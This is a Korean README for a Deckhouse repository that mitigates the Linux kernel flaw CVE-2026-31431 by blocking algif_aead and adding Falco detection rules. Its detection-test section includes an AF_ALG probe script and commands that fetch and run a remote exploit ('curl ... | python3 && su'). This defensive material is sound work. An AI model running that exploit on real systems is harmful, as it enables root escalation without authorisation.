
Kubernetes 네이티브 CVE-2026-31431 완화: 자동 커널 모듈 차단, 런타임 Falco 탐지 규칙, 및 Deckhouse 클러스터를 위한 bashible 기반 노드 구성.
언어: English | Русский
CVE-2026-31431은 Linux 커널의 algif_aead 모듈에 존재하는 취약점입니다.
이 모듈은 AF_ALG 소켓 패밀리를 통해 커널 암호화 API를 사용자 공간에 노출합니다.
AEAD(Authenticated Encryption with Associated Data) 인터페이스의 결함으로 인해 로컬의 권한 없는 사용자가 조작된 scatter-gather 리스트를 제출하여 커널에서 메모리 손상을 유발할 수 있으며, 이는 로컬 권한 상승 또는 서비스 거부로 이어집니다.
취약한 표면은 socket(AF_ALG, SOCK_SEQPACKET, 0)을 호출하고 이를 aead 타입 알고리즘에 바인딩할 수 있는 모든 프로세스(권한 없는 컨테이너 포함)에서 접근 가능합니다. 기본 seccomp 프로필을 제거하지 않거나 socket 시스템 콜 패밀리를 제한하지 않는 컨테이너 런타임은 클러스터 노드를 공격에 노출시킵니다.
상위 커널 패치가 OS 패키지 업데이트를 통해 배포될 때까지 권장되는 완화 조치는 모든 클러스터 노드에서 algif_aead 커널 모듈을 비활성화하고 런타임에 익스플로잇 시도를 탐지하는 것입니다.
이 저장소는 Deckhouse 관리형 클러스터에서 CVE-2026-31431을 완화하는 데 필요한 모든 것을 포함합니다:
ngc-cve-2026-31431.yaml — 노드 측 완화 조치NodeGroupConfiguration은 bashible을 통해 모든 노드에서 실행되며 네 단계를 수행합니다:
AF_ALG 소켓을 열고 aead/gcm(aes)에 바인딩하여 취약한 인터페이스가 노드에서 접근 가능한지 확인합니다.install 지시어가 포함된 /etc/modprobe.d/disable-algif.conf를 작성하여 algif_aead(및 상위 모듈 af_alg)가 수동으로 또는 종속성으로 다시 로드되지 않도록 합니다.rmmod algif_aead를 실행합니다. 모듈이 커널에 빌트인된 경우 건너뜁니다(이 경우 블록리스트 + 런타임 탐지만 적용).멱등적: 이미 완화된 노드에서 구성을 다시 실행해도 아무 일도 일어나지 않습니다.
far-cve-2026-31431.yaml — 런타임 탐지FalcoAuditRules 리소스는 프로세스가 AF_ALG 소켓을 열고 aead 알고리즘에 바인딩할 때(이 공격에 특유한 시스템 콜 패턴) Critical 이벤트를 트리거하는 사용자 정의 Falco 규칙을 추가합니다. 또한 프로세스가 modprobe/insmod를 통해 algif_aead 모듈을 로드하려고 시도할 때 Warning 이벤트를 발생시킵니다. 완화된 노드에서는 이 시도가 절대 성공해서는 안 되며, 익스플로잇 시도 또는 운영자 잘못된 구성의 강력한 신호입니다.
에디션 참고:
FalcoAuditRules는runtime-audit-engine모듈에 의해 조정되며, 이 모듈은 Deckhouse Enterprise Edition(EE) 및 **Certified Security Edition(CSE)**에서만 제공됩니다. Community Edition에서는 리소스가 처리되지 않습니다. 이 저장소의NodeGroupConfiguration은 여전히 적용되며 기본 완화 조치입니다.
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE 전용:
kubectl apply -f far-cve-2026-31431.yaml
각 NodeGroup의 상태를 확인하여 구성이 모든 노드에 적용될 때까지 기다립니다. Bashible은 단계별 성공을 NodeGroup에 보고하고, Deckhouse는 이를 두 필드로 집계하여 조회할 수 있습니다:
.status.upToDate — 최신 구성으로 마지막 bashible 실행이 성공한 노드 수. 모든 그룹에서 upToDate == nodes일 때 수렴됩니다..status.conditionSummary.ready — 그룹이 정상이면 "True", 노드의 bashible 단계가 실패하면(이 완화 조치의 확인 단계에서 수정을 적용할 수 없는 노드에서 발생하는 경우) "False"로 전환되며, .status.conditionSummary.statusMessage에 사람이 읽을 수 있는 이유가 표시됩니다.모든 그룹에 대한 일회성 조회:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
모든 그룹이 수렴된 경우에만 종료 코드 0을 반환하는 스크립트 가능한 검사:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"
NodeGroup이 conditionSummary.ready == "False"로 멈춘 경우 .status.conditionSummary.statusMessage를 읽으십시오. 여기에는 실패한 bashible 단계(이 완화 조치의 확인 단계 포함)가 표시됩니다.
공식 수정이 포함된 상위 커널 패키지가 모든 노드에 설치되면 두 리소스를 제거하십시오:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
NodeGroupConfiguration을 제거해도 /etc/modprobe.d/disable-algif.conf는 자동으로 삭제되지 않습니다. 모듈을 다시 로드 가능하게 하려면 수동으로 정리하거나, 클러스터에서 커널 암호화 API를 사용하는 워크로드가 없으면 블록리스트를 그대로 두십시오.
클러스터 전체:
kubectl get nodegroups
UPTODATE는 NODES와 같아야 하며, 모든 그룹의 상태 메시지 열이 비어 있어야 합니다.
노드에서 (SSH 또는 kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
예상 결과:
cat은 install / blacklist 네 줄을 표시합니다.lsmod는 비어 있습니다.modprobe -n -v는 install /bin/false를 출력합니다.modprobe는 exit=1을 반환합니다.이 하위 섹션을 사용하여 CVE-2026-31431에 대한 사용자 정의 FalcoAuditRules가 각 PoC 실행에서 실제로 트리거되는지 확인하십시오.
두 시나리오 모두에 대한 일반 사전 확인:
runtime-audit-engine이 정상인지 확인:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
예상: DESIRED == READY == AVAILABLE.
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# 중요: -i를 사용하여 Python이 stdin 스크립트를 받도록 함
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
정리:
kubectl delete pod cve-31431-test --ignore-not-found
보안 경고: 실행하기 전에 다운로드한 모든 스크립트를 항상 검토하십시오. 프로덕션 환경에서 원격 스크립트를 맹목적으로 실행하지 마십시오.
권장 (먼저 검토 후 실행):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
동등한 원라이너 (검토/승인 후에만):
curl https://copy.fail/exp | python3 && su
탐지 확인:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| 파일 | 목적 |
|---|
ngc-cve-2026-31431.yaml | 취약한 인터페이스를 프로빙하고, algif_aead 로딩을 차단하며, 현재 로드된 모듈을 언로드하고, 수정이 효과적인지 확인하는 NodeGroupConfiguration입니다. 모든 번들과 노드 그룹에 적용됩니다. |
far-cve-2026-31431.yaml | AF_ALG 소켓이 AEAD 알고리즘에 바인딩되는 런타임 익스플로잇 시도를 탐지하는 FalcoAuditRules입니다. Deckhouse Enterprise Edition(EE) 및 Certified Security Edition(CSE)에서만 사용 가능합니다. runtime-audit-engine 모듈이 해당 에디션에 포함되어 있기 때문입니다. |